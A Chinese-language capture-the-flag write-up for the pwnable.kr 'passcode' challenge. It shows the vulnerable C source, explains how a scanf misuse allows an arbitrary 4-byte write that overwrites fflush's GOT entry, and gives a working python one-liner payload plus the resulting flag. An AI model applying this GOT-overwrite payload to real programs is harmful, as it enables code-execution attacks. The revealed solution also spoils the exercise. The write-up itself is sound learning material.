pwnable.kr
突然跳度大一下脑子有点混乱,看了不少Writen Up,梳理了一下写写,下面附上几个链接:
1.https://blog.csdn.net/smalosnail/article/details/53247502
2.https://www.cnblogs.com/liuyimin/p/7275057.html
3.http://jing0107.lofter.com/post/1cbc869f_8b3d8a5
开始
先连接进去看一下源码
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
首先,我们可以看到在使用scanf()
函数时没有加上$
符,那就要说说这个的影响,没有$
符,程序会默认从栈中读取4个字节的数据当做scanf
取的地址,也就是说,你想向passcode1
这个地址写数据,但是没有$
符,导致scanf
调用时指向的地址不是passcode1
而是栈空间前4个字节
形成的伪地址
,当你向这个伪地址
传数据的时候就很容易触发Segmentation fault
错误
我们可以想办法将这点利用起来,然后我们可以看到main
函数中连续调用了两个函数welcome() 与 login()
,看下name 与 passcode1
的地址
可以看出name 与 passcode1
的地址分别是ebp - 0x70 与 ebp - 0x10
,且ebp
的值是相等的,也就是说在传入name
时,只要填充0x60 = 96
个字节就可以控制passcode1
,配合scanf
就可以做到任意地址写入4字节。
那这样我们就可以通过修改一个函数的plt
,例如fflush() printf() exit()
,控制它跳转got
时直接跳到system("/bin/cat flag")
这里。
命令:objdump -R passcode
0x0804a000
然后找system("/bin/cat flag")
在程序中的位置
前面是传入的参数,所以要从0x80485e3
开始,但是因为scanf
传入%d
,你要转换为十进制,所以是134514147
python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcode
flag
= Sorry mom.. I got confused about scanf usage :(